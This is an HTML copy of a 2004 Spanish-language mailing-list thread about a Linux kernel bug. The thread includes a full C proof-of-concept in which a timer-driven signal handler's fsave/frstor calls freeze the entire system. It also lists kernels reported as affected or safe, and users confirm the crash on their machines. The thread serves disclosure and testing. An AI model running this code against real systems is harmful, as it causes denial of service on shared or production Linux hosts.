<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
Gustavo Cha&iacute;n wrote:
<blockquote cite="mid20040612152052.61e0e20c.id1@vtr.net" type="cite">
  <pre wrap="">On Sat, 12 Jun 2004 14:56:08 -0400
Felipe Covarrubias Hooper <a class="moz-txt-link-rfc2396E" href="mailto:felipe.covarrubias@alumnos.utfsm.cl">&lt;felipe.covarrubias@alumnos.utfsm.cl&gt;</a> wrote:

  </pre>
  <blockquote type="cite">
    <pre wrap="">Gustavo Cha&iacute;n wrote:

    </pre>
    <blockquote type="cite">
      <pre wrap="">On Sat, 12 Jun 2004 14:14:56 -0400
Gustavo Cha&iacute;n <a class="moz-txt-link-rfc2396E" href="mailto:id1@vtr.net">&lt;id1@vtr.net&gt;</a> wrote:

 

      </pre>
      <blockquote type="cite">
        <pre wrap="">El bug permite q un simple programa en C bloquee el sistema, afecta kernels 2.4.2x and 2.6.x, el exploit fue reportado como un "gcc bug"

C&oacute;digo

 #include &lt;sys/time.h&gt;
 #include &lt;signal.h&gt;
 #include &lt;unistd.h&gt;
 
 static void Handler(int ignore)
 {
  char fpubuf[108];
  __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
  write(2, "*", 1);
  __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
 }
 
 int main(int argc, char *argv[])
 {
  struct itimerval spec;
  signal(SIGALRM, Handler);
  spec.it_interval.tv_sec=0;
  spec.it_interval.tv_usec=100;
  spec.it_value.tv_sec=0;
  spec.it_value.tv_usec=100;
  setitimer(ITIMER_REAL, &amp;spec, NULL);
  while(1)
   write(1, ".", 1);
 
  return 0;
 }
 
 El bug se "manifiesta si es compilado con las versiones 3.2 o 3.3 de gcc

Los kernels q se salvan...

Aqui el c&oacute;digo no hace nada, salvo enviar un error de excepcion en el coma flotante.

   * Linux nudge 2.6.5-1um i686 (the user-mode Linux kernel) Dylan Smith
   * Linux Kernel 2.6.4 SMP patched with staircase scheduler, Guille
   * Linux kernel 2.4.26-rc3-gentoo (gcc 3.3.3)
   * Linux kernel 2.4.26_pre6-gentoo (gcc 3.3.2) 

No est&aacute; muy claro pq los parches de gentoo para kernels 2.4.26 estan a salvo de esto (fueron liberado antes de la publicacion del bug). Segun el redactor del articulo lo probo y no tuvo problemas

I assumed this bug was no serious threat before everyone I asked to test this code confermed that it did, in fact, froze their systems. When I started testing kernels I found that every kernel I tried, 2.4.xx and 2.6.xx, are affected except the ones I had already installed on my system. Even Linux 2.4.26-gentoo-r1 crashes.

blabla ...

al parecer la solucion es compilar 2.4.25 y parchar con gentoo.



pseudo traducido de:
<a class="moz-txt-link-freetext" href="http://www.todo-linux.com/go.php?pag=http://reviewed.homelinux.org/news/2004-06-11_kernel_crash/index.html.en">http://www.todo-linux.com/go.php?pag=http://reviewed.homelinux.org/news/2004-06-11_kernel_crash/index.html.en</a> 

   

        </pre>
      </blockquote>
      <pre wrap="">-_- ' funciona

 

      </pre>
    </blockquote>
    <pre wrap="">Lo Probe en un kernel con parches de debian en la distribuci&oacute;n Unstable, 
kernel version 2.4.26, y el sistema se paraliza por completo.

    </pre>
  </blockquote>
  <pre wrap=""><!---->
pero una vez paralizado qu&egrave;?, reinicias y todo como si nunca hubiera pasado?

  </pre>
</blockquote>
As&iacute; es no queda mas que reiniciar y en mi caso el sistema volvio a
arrancar como siempre.<br>
</body>
</html>